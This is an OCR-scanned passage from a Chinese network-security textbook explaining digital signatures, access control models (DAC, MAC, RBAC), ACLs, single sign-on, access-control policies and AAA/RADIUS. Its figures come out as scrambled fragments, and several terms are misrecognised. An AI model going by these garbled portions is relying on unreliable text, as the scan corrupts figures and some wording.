在 网 络 系统 虚拟 环境 中 ,数字 签名 技术 是 确认 身份 的 重要 技术 ,完全 可 以 代替 现实 
中 的 亲笔 签字 ,在 技术 和 法 律 上 有 保证 。 在 公 钥 与 私 钥 管 理 方面 ,数字 签名 应 用 与 加 密 
邮件 PGP(Pretty Good Privacy) 技 术 为 两 种 服务 。 在 数字 签名 应 用 中 ,发送 者 的 公 钥 可 
以 很 方便 地 得 到 ,但 其 私 钥 则 需要 严格 保密 。 

EE 电 展 阅读 在 很 多 场合 传输 的 原文 件 需 要 保密 ,不 经 允许 他 人 不 能 接触 。 要 求 对 
原文 件 进行 加 密 的 数字 签名 实现 还 涉及 如 同 通常 邮寄 信件 信封 的 “数字 信封 "问题 。 整 
个 数字 签名 的 基本 原理 采用 的 是 双 加 密 方 式 , 先 将 原文 件 用 对 称 密 钥 加 密 后 进行 传输 ， 
并 将 其 密 钥 用 接收 方 公 钥 加 密 发 送 给 对 方 。 如 同 将 对 称 密 钥 放 在 同一 个 数字 信封 中 , 接 
收 方 收 到 数字 信封 ,用 自己 的 私 钥 解 密 信 封 ,取出 对 称 密 钥 解密 得 到 原文 件 。 一 套 完 整 
的 数字 签名 通常 定义 签名 和 验证 两 种 互补 的 运算 。 单 独 的 数字 签名 只 是 一 个 加 密 的 过 
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程 , 数 字 签 名 验证 则 是 一 个 解密 的 过 程 。 经 过 数字 签名 的 文件 其 完整 性 和 可 审查 性 很 容 
易 验 证 ,无 需 一 般 重 要 信件 或 多 页 文件 的 骑 颖 章 与 骑 颖 签名 ,更 无 需 笔迹 专家 验证 。 
数字 签名 的 基本 原理 及 过 程 如 图 6-5 所 示 。 


用 私 钥 
入 要 jd | 10111000010 
=Z] 签名 后 ! 
发 送 方 对 的 报 文 | 
报 文 签名 ! 
s — | 
re 10111000010 
验证 等 名 /一 p. | 
用 发 送 方 
公 钥 解密 
”7 
10111000010 = 10111000010 
D D' 


6-5 数字 签名 原理 及 过 程 


[EE 讨论 思考 
(1) 数字 签名 和 现实 中 的 签名 有 哪些 区 别 和 联系 ? 
(2) 简 述 数字 签名 的 基本 原理 及 过 程 。 


63 访问 控制 技术 概述 
631 访问 控制 的 概念 及 原理 


1. 访问 控制 的 概念 及 要 素 


访问 控制 (access control) 指 系统 对 用 户 身份 及 其 所 属 的 预先 定义 的 策略 组 限制 其 
使 用 数据 资源 能 力 的 手段 。 通 常用 于 系统 管理 员 控 制 用 户 对 服务 器 目录 ,文件 等 网 络 
资源 的 访问 。 访 问 控制 是 系统 保密 性 、 完 整 性 、 可 用 性 和 合法 使 用 性 的 重要 基础 ,是 网 络 
安全 防范 和 资源 保护 的 关键 策略 之 一 ,也 是 主体 依据 某 些 控制 策略 或 权限 对 客体 本 身 或 
其 资源 进行 的 不 同 授权 访问 。 

访问 控制 的 主要 目的 是 限制 访问 主体 对 客体 的 访问 ,从 而 保障 数据 资源 在 合法 范围 
内 得 以 有 效 使 用 和 管理 。 为 了 达到 上 述 目的 ,访问 控制 需要 完成 两 个 任务 : 识别 和 确认 
访问 系统 的 用 户 .决定 该 用 户 可 以 对 某 一 系统 资源 进行 何 种 类 型 的 访问 。 

访问 控制 包括 3 个 要 素 : 主体 、 客 体 和 控制 策略 。 

(1) 主体 S(Subject)。 是 指 提出 访问 资源 的 具体 请 求 , 是 某 一 操作 动作 的 发 起 方 ,但 
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不 一 定 是 动作 的 执行 者 ,可 能 是 某 一 用 户 , 也 能 以 是 用 户 启动 的 进程 .服务 和 设备 等 。 
(2) 客体 O(Object)。 是 指 被 访问 资源 的 实体 。 所 有 可 以 被 操作 的 信息 、 资 源 、 对 象 
都 可 以 是 客体 。 客 体 可 以 是 信息 、 文 件 、 记 录 等 的 集合 体 ,也 可 以 是 网 络 上 的 硬件 设备 、 
无 线 通信 中 的 终端 ,甚至 可 以 包含 另外 一 个 客体 。 
(3) 控制 策略 A(CAttribution)。 是 主体 对 客体 的 相关 访问 规则 集合 , 即 属性 集合 。 
访问 策略 体现 了 一 种 授权 行为 ,也 是 客体 对 主体 某 些 操作 行为 的 默认 。 


2. 访问 控制 的 功能 及 原理 


访问 控制 的 主要 功能 包括 : 保证 合法 用 户 访问 受权 保护 的 网 络 资源 ,防止 非法 的 主 
体 进入 受 保护 的 网 络 资源 ,或 防止 合法 用 户 对 受 保护 的 网 络 资源 进行 非 授权 的 访问 。 访 
问 控制 首先 需要 对 用 户 身份 的 合法 性 进行 验证 ,同时 利用 控制 策略 进行 管理 工作 。 当 用 
户 身份 和 访问 权限 得 到 验证 之 后 ,还 需要 对 越权 操作 进行 监控 。 因 此 ,访问 控制 的 内 容 
包括 认证 ,控制 策略 实现 和 安全 审计 ,如 图 6-6 所 示 。 


请 求 访问 访问 控制 执行 功能 
© = (AEF) s 


用 户 


1 


主体 访问 S | 访问 控制 决策 功能 | -一 客体 访 间 、 
人 控制 信息 2 (ADP) 《、 控 制 信息 2 


i 
访问 控制 策略 规则 | 上 下 文 信息 (如 时 间 、 地 点 等 ) 
6-6 ”访问 控制 功能 及 原理 


(1) 认证 。 包 括 主体 对 客体 的 识别 及 客体 对 主体 的 检验 确认 。 

(2) 控制 策略 。 通 过 合理 地 设 定 控制 规则 集合 ,确保 用 户 对 信息 资源 在 授权 范围 内 
的 合法 使 用 。 既 要 确保 授权 用 户 的 合理 使 用 ,又 要 防止 非法 用 户 侵权 进入 系统 ,使 重要 
信息 资源 泄露 。 同 时 对 合法 用 户 , 也 不 能 越权 行使 权限 以 外 的 功能 及 超出 访问 范围 。 

(3) 安全 审计 。 系 统 可 以 自动 根据 用 户 的 访问 权限 ,对 计算 机 网 络 环境 下 的 有 关 活 
动 或 行为 进行 系统 的 、 独 立 的 检查 验证 ,并 做 出 相应 评价 .记载 与 审计 。 


632 访问 控制 的 类 型 和 机 制 


访问 控制 可 以 分 为 两 个 层次 : 物理 访问 控制 和 催 辑 访问 控制 。 物 理 访问 控制 是 指 符 
合 标 准 规定 的 用 户 ,设备 、 门 、 锁 和 安全 环境 等 方面 的 要 求 , 而 逻辑 访问 控制 则 是 在 数据 、 
应 用 、 系 统 、 网 络 和 权限 等 层面 实现 的 。 对 银行 ,证券 等 重要 金融 机 构 的 网 站 ,信息 安全 
重点 关注 的 是 二 者 兼顾 ,物理 访问 控制 则 主要 由 其 他 类 型 的 安全 部 门 负责 。 
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1. 访问 控制 的 类 型 


主要 的 访问 控制 类 型 有 3 种 模式 : 自主 访问 控制 (DAC) ,强制 访问 控制 (MAC) 和 基 
于 角色 的 访问 控制 (RBAC)。 

1) 自主 访问 控制 

自主 访问 控制 (Discretionary Access Control,DAC) 是 一 种 自主 控制 管理 方式 ,在 自 
主 访问 控制 下 ,用 户 可 以 按 各 自 意愿 ,以 授权 等 方式 选择 与 其 他 用 户 共享 其 资源 ,如 邮 
箱 , 同 时 包括 在 文件 .文件 夹 和 共享 资源 中 设置 许可 。 用 户 有 权 对 自身 所 创建 的 文件 、 数 
据 表 等 访问 对 象 进行 访问 ,并 可 将 其 访问 权 授 予 其 他 用 户 或 收回 其 访问 权限 。 人 允许 访问 
对 象 的 属 主 制定 针对 该 对 象 访问 的 控制 策略 ,通常 ,可 通过 访问 控制 列表 来 限定 针对 客 
体 可 执行 的 操作 。 

(1) 每 个 客体 有 一 个 所 有 者 ,可 按照 各 自 意 愿 将 客体 访问 控制 权限 授予 其 他 主体 。 

(2) 各 客体 都 拥有 一 个 限定 主体 对 其 访问 权限 的 访问 控制 列表 (ACL)。 

(3) 每 次 访问 时 都 基于 访问 控制 列表 检查 用 户 标志 ,实现 对 其 访问 权限 的 控制 。 

(4) DAC 的 有 效 性 依赖 于 资源 的 所 有 者 对 安全 政策 的 正确 理解 和 有 效 落实 。 

【案例 6-3] £ Linux 系统 中 ,访问 控制 采用 了 DAC 模式 ,如 图 6-7 所 示 。 高 优先 级 
主体 可 将 客体 的 访问 权限 授予 其 他 主体 。 


| bimwls 
[root@aci tmp]# chown root Is 


[root@aci tmpJ# Is -| 

Wf 1 nobody nobody 770 Oct 18 15:16 4011.tmp 

We 1root users 48 Oct2811:41ls 

Srwxrwxrwx 1root root 0 Aug 29 09:04 mysql.sock 

drwxrwxr-x 2duan uan 4096 Oct 23 23:41 ss! 

[root@aci tmpj# chmod o+rw ls 

[root@aci tmpj# Is -| 

r w-r=r_ 1 nobody nobody 770 Oct 18 15:16 4011.tmp 

WW 1root users 48 Oct28 11:41 ls 

Srwxrwxrwx 1root root 0 Aug 29 09:04 mysql.sock 

drwxrwxr-x 2duan duan 4096 Oct 23 23;41 ss! 
LootG@ac tmp}# 


6-7 Linux 系统 中 的 自主 访问 控制 


[5 果 展 阅读 DAC 提供 了 适合 多 种 系统 环境 的 灵活 方便 的 数据 访问 方式 ,是 应 用 最 
广泛 的 访问 控制 策略 。 然 而 , 它 所 提供 的 安全 性 可 被 非法 用 户 绕 过 ,授权 用 户 在 获得 访 
问 某 资 源 的 权限 后 ,可 能 传送 给 其 他 用 户 。 所 以 DAC 提供 的 安全 性 相对 较 低 ,无 法 对 系 
统 资 源 提供 严格 保护 。 

2) 强制 访问 控制 

强制 访问 控制 (MAC) 是 系统 (管理 员 ) 强 制 主体 服从 访问 控制 策略 。 如 网 银 , 是 由 系 
统 对 用 户 所 创建 的 文件 等 对 象 按照 控制 策略 的 规则 控制 用 户 权限 及 操作 对 象 的 访问 。 
主要 特征 是 对 所 有 主体 及 其 所 控制 的 进程 .文件 . 段 .设备 等 客体 实施 强制 访问 控制 。 在 
MAC 中 ,每 个 用 户 及 文件 都 被 赋予 一 定 的 安全 级 别 , 只 有 系统 管理 员 才 可 确定 用 户 和 组 
的 访问 权限 ,用 户 不 能 改变 自身 或 任何 客体 的 安全 级 别 。 系 统 通过 比较 用 户 和 访问 文件 
的 安全 级 别 ,决定 用 户 是 否 可 以 访问 该 文件 。 此 外 ,MAC 不 允许 通过 进程 生成 共享 文 
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件 , 并 通过 共享 文件 将 信息 在 进程 中 传递 。MAC 可 通过 使 用 敏感 标签 对 所 有 用 户 和 资 
源 强制 执行 安全 策略 ,一般 采用 3 种 方法 : 限制 访问 控制 .过 程控 制 和 系统 限制 。MAC 
常用 于 多 级 安全 军事 系统 ,对 专用 系统 或 简单 系统 较 有 效 , 但 对 通用 系统 或 大 型 系统 并 
不 太 有 效 。 

MAC 的 安全 级 别 有 多 种 定义 方式 ,常用 的 分 为 4 级 : 绝密 级 (Top Secret, T) 、 秘 密 
级 (Secret,S) 、 机 密级 (Confidential,C) 和 无 级 别 级 (Unclassified,U) ,其 中 T>S— C> 
U。 所 有 系统 中 的 主体 (用 户 ,进程 ) 和 客体 (文件 ,数据 ) 都 分 配 安全 标签 ,以 标识 安全 
等 级 。 

CORREA 通常 MAC 5 DAC 结合 使 用 ,并 实施 一 些 附加 的 、 更 强 的 访问 限制 。 
一 个 主体 只 有 通过 自主 与 强制 性 访问 限制 检查 后 ,才能 访问 其 客体 。 用 户 可 利用 DAC 
来 防范 其 他 用 户 对 自己 客体 的 攻击 ,由 于 用 户 不 能 直接 改变 强制 访问 控制 属性 ,所 以 强 
制 访问 控制 提供 了 一 个 不 可 逾越 的 ,更 强 的 安全 保护 层 , 以 防范 偶然 或 故意 地 滥用 DAC. 

3) 基于 角色 的 访问 控制 

角色 (role) 是 一 定数 量 的 权限 的 集合 。 指 完成 一 项 任务 必须 访问 的 资源 及 相应 操作 
权限 的 集合 。 角 色 作 为 一 个 用 户 与 权限 的 代理 层 , 表 示 为 权限 和 用 户 的 关系 ,所 有 的 授 
权 应 该 给 予 角 色 而 不 是 直接 给 予 用 户 或 用 户 组 。 

基于 角色 的 访问 控制 (Role-Based Access Control, RBAC) 是 通过 对 角色 的 访问 所 进 
行 的 控制 。 使 权限 与 角色 相关 联 ,用 户 通过 成 为 适当 角色 的 成 员 而 得 到 其 角色 的 权限 。 
可 极 大 地 简化 权限 管理 。 为 了 完成 某 项 工作 创建 角色 ,用户 可 依 其 责任 和 资格 分 派 相 应 
的 角色 ,角色 可 依 新 需求 和 系统 合并 赋予 新 权限 ,而 权限 也 可 根据 需要 从 某 角色 中 收回 。 
减 小 了 授权 管理 的 复杂 性 ,降低 了 管理 开销 ,提高 了 企业 安全 策略 的 灵活 性 。 

RBAC 模型 的 授权 管理 方法 主要 有 3 种 : 

(1) 根据 任务 需要 定义 具体 不 同 的 角色 。 

(2) 为 不 同 角 色 分 配 资源 和 操作 权限 。 

(3) 给 一 个 用 户 组 (group, 权 限 分 配 的 单位 与 载体 ) 指 定 一 个 角色 。 

RBAC 支持 3 个 著名 的 安全 原则 : 最 小 权限 原则 、 责 任 分 离 原则 和 数据 抽象 原则 。 
第 一 个 原则 可 将 其 角色 配置 成 完成 任务 所 需要 的 最 小 权限 集 。 第 二 个 原则 可 通过 调用 
相互 独立 互 斥 的 角色 共同 完成 特殊 任务 ,如 核对 账目 等 。 第 三 个 原则 可 通过 权限 的 抽象 
控制 一 些 操作 ,如 财务 操作 可 使 用 借款 、 存 款 等 抽象 权限 ,而 不 使 用 操作 系统 提供 的 典型 
的 读 、 写 和 执行 权限 。 这 些 原 则 需要 通过 RBAC 各 部 件 的 具体 配置 才 可 实现 。 


2. 访问 控制 机 制 


访问 控制 机 制 是 检测 和 防止 系统 未 授权 访问 ,为 保护 资源 所 采取 的 各 种 措施 。 是 在 
文件 系统 中 广泛 应 用 的 安全 防护 方法 ,一 般 是 在 操作 系统 的 控制 下 ,按照 事先 确定 的 规 
则 决定 是 否 允 许 主体 访问 客体 。 它 贯穿 于 系统 全 过 程 。 

访问 控制 矩阵 (access control matrix) 是 最 初 实现 访问 控制 机 制 的 概念 模型 ,以 二 维 
矩阵 规定 主体 和 客体 间 的 访问 权限 。 行 表示 主体 的 访问 权限 属性 ,列表 示 客 体 的 访问 权 
限 属 性 ,矩阵 中 的 元 素 表 示 所 在 行 的 主体 对 所 在 列 的 客体 的 访问 授权 ,空格 为 未 授权 ,Y 
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为 有 操作 授权 。 以 确保 系统 操作 按 此 矩阵 授权 进行 访问 。 通 过 引用 监控 器 协调 客体 对 
主体 的 访问 ,实现 认证 与 访问 控制 的 分 离 。 在 实际 应 用 中 ,对 于 较 大 系统 ,由 于 访问 控制 
矩阵 将 变 得 非常 大 ,其 中 有 许多 空格 ,造成 较 大 的 存储 空间 浪费 ,因此 , 较 少 利用 和 矩阵 方 
式 , 主 要 采用 以 下 两 种 方法 。 

1) 访问 控制 列表 

访问 控制 列表 (Access Control List,ACL) 是 应 用 在 路 由 器 接口 的 指令 列表 ,用 于 路 
由 器 利用 源 地 址 .目的 地 址 、 端 口号 等 的 特定 指示 条 件 对 数据 包 进行 选择 。 是 以 文件 为 
中 心 建 立 的 访问 权限 表 , 表 中 记载 了 该 文件 的 访问 用 户 名 和 权限 隶属 关系 。 利 用 ACL， 
容易 判断 出 对 特定 客体 的 授权 访问 、 可 访问 的 主体 和 访问 权限 等 。 当 将 该 客体 的 ACL 
置 为 空 时 ,可 撤销 特定 客体 的 授权 访问 。 

基于 ACL 的 访问 控制 策略 简单 实用 。 在 查询 特定 主体 访问 客体 的 权限 时 ,虽然 需 
要 遍历 查询 所 有 客体 的 ACL ,耗费 较 多 资源 ,但 仍 是 一 种 成 熟 且 有 效 的 访问 控制 方法 。 
许多 通用 的 操作 系统 都 使 用 ACL。 如 UNIX 和 VMS 系统 利用 ACL 的 简略 方式 ,以 少 
量 工作 组 的 形式 ,而 不 允许 单个 个 体 出 现 , 可 极 大 地 缩减 列表 大 小 ,提高 系统 效率 。 

2) 能 力 关 系 表 

能 力 关 系 表 (capabilities list) 是 以 用 户 为 中 心 建立 的 访问 权限 表 。 与 ACL 相反 , 表 
中 规定 了 该 用 户 可 访问 的 文件 名 及 权限 ,利用 此 表 可 方便 地 查询 一 个 主体 的 所 有 授权 。 
相反 ,要 检索 有 权 访 问 特定 客体 的 所 有 主体 , 则 需 查 遍 所 有 主体 的 能 力 关系 表 。 


3. 单 点 登入 的 访问 管理 


在 6.1.3 节 简 单 介 绍 了 单 点 登入 (SSO) 的 基本 概念 和 优势 ,其 主要 优点 是 ,可 集中 存 
储 用 户 身份 信息 ,用 户 只 需 一 次 向 服务 器 验证 身份 , 即 可 使 用 多 个 系统 的 资源 ,无 须 再 向 
各 客户 机 验证 身份 ,可 提高 网 络 用 户 的 效率 ,减少 网 络 操作 的 成 本 ,增强 网 络 安全 性 。 根 
据 登 入 的 应 用 类 型 不 同 , 可 将 SSO 分 为 3 种 类 型 。 

1) 对 桌面 资源 的 统一 访问 管理 

对 桌面 资源 的 访问 管理 包括 两 个 方面 : 

(1) 登 人 Windows 后 统一 访问 Microsoft 应 用 资源 。Windows 本 身 就 是 一 个 SSO 
系统 。 随 着 . NET 技术 的 发 展 ,Microsoft SSO 将 成 为 现实 。 通 过 Active Directory 的 用 
户 组 策略 并 结合 SMS 工具 ,可 实现 桌面 策略 的 统一 制定 和 统一 管理 。 

(2) 登入 Windows 后 访问 其 他 应 用 资源 。 根 据 Microsoft 的 软件 策略 , Windows 并 
不 主动 提供 与 其 他 系统 的 直接 连接 。 现 在 ,已 经 有 第 三 方 产品 提供 上 述 功能 ,利用 
Active Directory 存储 其 他 应 用 的 用 户 信息 ,间接 实现 对 这 些 应 用 的 SSO 服务 。 

2) Web 单 点 登入 

由 于 Web 技术 体系 架构 便捷 ,对 Web 资源 的 统一 访问 管理 易于 实现 。 在 目前 的 访 
问 管理 产品 中 ,Web 访问 管理 产品 最 为 成 熟 。Web 访问 管理 系统 一 般 与 企业 信息 门户 
结合 使 用 ,提供 完整 的 Web SSO 解决 方案 ,如 图 6-8 所 示 。 

3) 传统 C/S 结构 应 用 的 统一 访问 管理 

在 传统 C/S 结构 应 用 上 实现 管理 前 台 的 统一 或 统一 入 口 是 关 键 。 采 用 Web 客户 端 
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客户 端 -We b 应 月 门户 -后 台 
SSO SSO 
浏览 器 Web 应 用 后 台 应 用 
浏览 器 “上 1 . 1 
el Hi i 

访问 管理 门户 后台 应 用 
浏览 器 I | 
浏览 器 Web 应 用 后 台 应 用 


图 6-8 Web 单 点 登入 访问 管理 系统 


作为 前 台 是 企业 最 为 常见 的 一 种 解决 方案 。 

在 后 台 集 成 方面 ,可 以 利用 基于 集成 平台 的 安全 服务 组 件 或 不 基于 集成 平台 的 安全 
服务 API, 通 过 调用 信息 安全 基础 设施 提供 的 访问 管理 服务 实现 统一 访问 管理 。 

EE 知 识 拓展 ”在 不 同 的 应 用 系统 之 间 同 时 传递 身份 认证 和 授权 信息 是 传统 C/S 结 
构 的 统一 访问 管理 系统 面临 的 另 一 项 任务 。 采 用 集成 平台 进行 认证 和 授权 信息 的 传递 
是 当前 发 展 的 一 种 趋势 。 可 对 C/S 结构 应 用 的 统一 访问 管理 结合 信息 总 线 (EAI) 平 台 
建设 一 同 进行 。 


633 访问 控制 的 安全 策略 


访问 控制 的 安全 策略 是 指 在 某 个 自治 区 域内 (属于 某 个 组 织 的 一 系列 处 理 和 通信 资 
源 范畴 ) 用 于 所 有 与 安全 相关 活动 的 一 套 访问 控制 规则 。 由 此 建立 安全 区 域 中 的 安全 权 
力 机 构 , 并 由 此 来 描述 和 实现 安全 控制 机 构 。 访 问 控制 的 安全 策略 有 3 种 类 型 : 基于 身 
份 的 安全 策略 、 基 于 规则 的 安全 策略 和 综合 访问 控制 方式 。 


1. 访问 控制 安全 策略 实施 原则 


访问 控制 安全 策略 实施 原则 主要 集中 在 主体 、 客 体 和 安全 控制 规则 集 三 者 之 间 的 关 
系 上 。 

(1) 最 小 特权 原则 。 在 主体 执行 操作 时 ,按照 主体 所 需 权 利 的 最 小 化 原则 为 主体 分 
配 权力 。 优 点 是 最 大 限度 地 限制 了 主体 实施 授权 行为 ,可 避免 来 自 突 发 事件 .操作 错误 
和 未 授权 主体 等 意外 情况 的 危险 。 为 了 达到 一 定 目 的 ,主体 必须 执行 一 定 操作 ,但 只 能 
做 被 允许 的 操作 ,其 他 操作 除外 。 这 是 抑制 特洛伊 木马 和 实现 可 靠 程序 的 基本 措施 。 

(2) 最 小 泄露 原则 。 主 体 执行 任务 时 , 按 其 所 需 的 最 小 信息 分 配 权 限 , 以 防 泄密 。 

(3) 多 级 安全 策略 。 主 体 和 客体 之 间 的 数据 流向 和 权限 控制 按照 安全 级 别 的 绝密 
(TS) ,秘密 (S) .机密 (C) .限制 (RS) 和 无 级 别 (U)5 级 来 划分 。 其 优点 是 避免 敏感 信息 扩 
散 。 具 有 安全 级 别 的 信息 资源 ,只 有 高 于 安全 级 别 的 主体 才 可 访问 。 

在 访问 控制 实现 方面 ,实现 的 安全 策略 包括 8 个 方面 : 人 网 访问 控制 .网 络 权限 限 


第 身价 认 证 与 访问 控制 


173 


制 、 目 录 级 安全 控制 .属性 安全 控制 .网络 服务 器 安全 控制 .网 络 监测 和 锁定 控制 .网 络 端 
口 和 结 点 的 安全 控制 和 防火 墙 控制 。 


2. 基于 身份 和 规则 的 安全 策略 


授权 行为 是 建立 身份 安全 策略 和 规则 安全 策略 的 基础 ,两 种 安全 策略 内 容 如 下 。 

1) 基于 身份 的 安全 策略 

主要 是 过 滤 主 体 对 数据 或 资源 的 访问 。 只 有 通过 认证 的 主体 才 可 以 正常 使 用 客体 
的 资源 。 这 种 安全 策略 包括 基于 个 人 的 安全 策略 和 基于 组 的 安全 策略 。 

(1) 基于 个 人 的 安全 策略 。 是 以 个 人 用 户 为 中 心 建立 的 策略 ,主要 由 一 些 规则 要 求 
相关 的 控制 列表 组 成 。 这 些 列表 针对 特定 的 客体 ,限定 了 不 同 用 户 所 能 实现 的 不 同安 全 
策略 的 操作 行为 。 

(2) 基于 组 的 安全 策略 。 基 于 个 人 策略 的 发 展 与 扩充 ,主要 指 系统 对 一 些 用 户 使 用 
同样 的 访问 控制 规则 ,访问 同样 的 客体 。 

2) 基于 规则 的 安全 策略 

在 基于 规则 的 安全 策略 系统 中 ,所 有 数据 和 资源 都 标注 了 安全 标记 ,用 户 的 活动 进 
程 与 其 原 发 者 具有 相同 的 安全 标记 。 系 统 通过 比较 用 户 的 安全 级 别 和 客体 资源 的 安全 
级 别 ,判断 是 否 允 许 用 户 进行 访问 。 这 种 安全 策略 一 般 具 有 依赖 性 与 敏感 性 。 


3. 综合 访问 控制 策略 


综合 访问 控制 策略 (HAC) 继 承 和 吸取 了 多 种 主流 访问 控制 技术 的 优点 ,有 效 地 解决 
了 信息 安全 领域 的 访问 控制 问题 ,保护 了 数据 的 保密 性 和 完整 性 ,保证 授权 主体 能 访问 
客体 和 拒绝 非 授权 访问 。HAC 具有 良好 的 灵活 性 、 可 维护 性 、 可 管理 性 、 更 细 粒 度 的 访 
问 控制 和 更 高 的 安全 性 ,为 信息 系统 设计 人 员 和 开发 人 员 提供 了 访问 控制 安全 功能 的 解 
决 方案 。 综 合 访问 控制 策略 主要 包括 以 下 7 个 方面 。 

1) 入 网 访问 控制 

入 网 访问 控制 是 网 络 访问 的 第 一 层 访问 控制 。 对 用 户 可 规定 所 能 登入 到 的 服务 器 
及 获取 的 网 络 资源 ,控制 准许 用 户 入 网 的 时 间 和 登入 入 网 的 工作 站 点 。 用 户 的 入 网 访问 
控制 分 为 用 户 名 和 口令 的 识别 与 验证 .用 户 账号 的 默认 限制 检查 。 该 用 户 若 有 任何 一 个 
环节 检查 未 通过 ,就 无 法 登 人 网 络 进行 访问 。 

2) 网 络 的 权限 控制 

网 络 的 权限 控制 是 防止 网 络 非法 操作 而 采取 的 一 种 安全 保护 措施 。 用 户 对 网 络 资 
源 的 访问 权限 通常 用 一 个 访问 控制 列表 来 描述 。 

网 络 的 权限 控制 可 将 用 户 分 为 以 下 32; 

(1) 特殊 用 户 。 具 有 系统 管理 权限 的 系统 管理 员 等 。 

(2) 一 般 用 户 。 系 统管 理 员 根据 实际 需要 而 分 配 一 定 操作 权限 的 用 户 。 

(3) 审计 用 户 。 专 门 负责 审计 网 络 的 安全 控制 与 资源 使 用 情况 的 人 员 。 

3) 目录 级 安全 控制 

目录 级 安全 控制 主要 用 于 控制 用 户 对 目录 、 文 件 和 设备 的 访问 ,或 指定 对 子 目 录 和 
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文件 的 使 用 权限 。 用 户 在 目录 一 级 指定 的 权限 对 所 有 目录 下 的 文件 仍然 有 效 , 还 可 进 一 
步 指 定子 日 录 权 限 。 在 网 络 和 操作 系统 中 .常见 的 目录 和 文件 访问 权限 有 系统 管理 员 权 
限 (Supervisor) , 读 权 限 (Read) 、 写 权限 (Write) ,创建 权限 (Create) 删除 权限 (Erase) 、 修 
改 权 限 (Modify) ,文件 查找 权限 (File Scan) ,控制 权限 (Access Control) 等 。 网 络 管理 员 
应 为 用 户 分 配 适 当 的 访问 权限 ,以 控制 用 户 对 服务 器 资源 的 访问 ,进一步 强化 网 络 和 服 
务 器 的 安全 。 

4) 属性 安全 控制 

属性 安全 控制 可 将 特定 的 属性 与 网 络 服务 器 的 文件 及 目录 网 络 设备 相关 联 。 在 权 
限 安全 的 基础 上 ,对 属性 安全 提供 更 进一步 的 安全 控制 。 网 络 上 的 资源 都 应 先 标 示 其 安 
全 属性 ,将 用 户 对 应 的 网 络 资源 访问 权限 存 人 访问 控制 列表 中 ,记录 用 户 对 网 络 资源 的 
访问 权限 ,以便 进行 访问 控制 。 

属性 配置 的 权限 包括 向 某 个 文件 写 数 据 、 复 制 一 个 文件 ,删除 目录 或 文件 .查看 目录 
和 文件 .执行 文件 、 隐 藏 文件 .共享 .系统 属性 等 。 安 全 属性 可 以 保护 重要 的 目录 和 文件 ， 
防止 用 户 越权 对 目录 和 文件 进行 查看 .删除 和 修改 等 操作 。 

5) 网 络 服务 器 安全 控制 

允许 通过 服务 器 控制 台 执行 的 操作 包括 用 户 利用 控制 台 装 载 和 印 载 操作 模块 .安装 
和 删除 软件 等 。 网 络 服务 器 的 安全 控制 还 包括 设置 口令 锁定 服务 器 控制 台 , 以 防止 非法 
用 户 修 改 、 删 除 重要 信息 。 另 外 ,系统 管理 员 还 可 通过 设 定 服务 器 的 登入 时 间 限 制 . 非 法 
访问 者 检测 以 及 关闭 的 时 间 间 隔 等 措施 ,对 网 络 服务 器 进行 多 方位 的 安全 控制 。 

6) 网 络 监控 和 锁定 控制 

在 网 络 系统 中 ,通常 服务 器 自动 记录 用 户 对 网 络 资源 的 访问 ,如 有 非法 的 网 络 访问 ， 
服务 器 将 以 图 形 .文字 或 声音 等 形式 向 网 络 管理 员 报 警 ,以 便 引 起 其 警觉 ,进行 审查 。 对 
试图 登入 网 络 者 ,网 络 服务 器 将 自动 记录 企图 登入 网 络 的 次 数 , 当 非 法 访问 的 次 数 达 到 
设 定 值 时 ,就 会 将 该 用 户 的 账户 自动 锁定 并 进行 记载 。 

7) 网 络 端口 和 结 点 的 安全 控制 

网 络 中 服务 器 的 端口 常用 自动 回复 器 .静默 调制 解 调 器 等 安全 设施 进行 保护 ,并 以 
加 密 的 形式 来 识别 结 点 的 身份 。 自 动 回复 器 主要 用 于 防范 假冒 合法 用 户 ,静默 调制 解 调 
器 用 于 防范 黑客 利用 自动 拨号 程序 进行 网 络 攻击 。 还 应 经 常 对 服务 器 端 和 用 户 端 进行 
安全 控制 ,如 通过 验证 器 检测 用 户 真 实 身份 ,然后 ,用 户 端 和 服务 器 再 进行 相互 验证 。 


634 认证 服务 与 访问 控制 系统 
1. AAA 技术 概述 


在 信息 化 社会 新 的 网 络 应 用 环境 下 ,虚拟 专用 网 (VPN) 远程 拨号 .移动 办 公 室 等 网 
络 移动 接 入 应 用 非常 广泛 ,传统 用 户 身份 认证 和 访问 控制 机 制 已 经 无 法 满足 广大 用 户 的 
需求 ,由 此 产生 了 AAA 认证 授权 机 制 。 

在 6.1.3 介绍 过 AAA 认证 系统 的 功能 ,主要 包括 3 个 部 分 : 

(1) 认证 。 对 网 络 用户 身 份 进行 识别 后 , 才 允 许 远 程 登入 访问 网 络 资源 。 
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(2) 鉴 权 。 为 远程 访问 控制 提供 方法 ,如 一 次 性 授权 或 给 予 特定 命令 或 服务 的 鉴 权 。 

(3) 审计 。 主 要 用 于 网 络 计 费 、 审 计 和 制作 报表 。 

知识 拓展 AAA 一 般 运 行 于 网 络 接 入 服务 器 ,提供 一 种 有 力 的 认证 、 鉴 权 、 审 计 
信息 采集 和 配置 系统 。 网 络 管理 者 可 以 根据 需要 选用 适合 需要 的 具体 网 络 协议 及 认证 


2. 远程 登入 认证 


远程 登入 认证 也 称 远 程 鉴 权 接 人 用 户 服务 (Remote Authentication Dial In User 
Service,RADIUS) ,主要 用 于 管理 远程 用 户 的 网 络 登入 。 它 主要 基于 C/S 架构 ,其 客户 
端 最 初 是 NAS(Net Access Server) 服务 器 ,现在 任何 运行 RADIUS 客户 端 软 件 的 计算 
机 都 可 成 为 其 客户 端 。RADIUS 协议 认证 机 制 灵活 ,可 采用 PAP.CHAP sk UNIX 登入 
认证 等 多 种 方式 。 此 协议 规定 了 网 络 接 入 服务 器 与 RADIUS 服务 器 之 间 的 消息 格式 。 
此 服务 器 接受 用 户 的 连接 请 求 , 根 据 其 账户 和 密码 完成 验证 后 ,将 用 户 所 需 的 配置 信息 
返回 给 网 络 接 入 服务 器 。 该 服务 器 同时 审计 并 记录 有 关 信 息 ,其 模型 如 图 6-9 所 示 。 


认证 服务 器 
(RADIUS) 


6-9 RADIUS 模型 


1) RADIUS 协议 的 主要 工作 过 程 

(1) 远程 用 户 通过 PSTN 网 络 连接 到 接 人 服务 器 ,并 将 登入 信息 发 送 到 其 服 
务 器 。 

(2) RADIUS 服务 器 根据 用 户 输入 的 账户 和 密码 对 用 户 进行 身份 认证 ,并 判断 是 否 
允许 用 户 接 入 。 请 求 批准 后 ,服务 器 还 要 对 用 户 进行 相应 的 鉴 权 。 

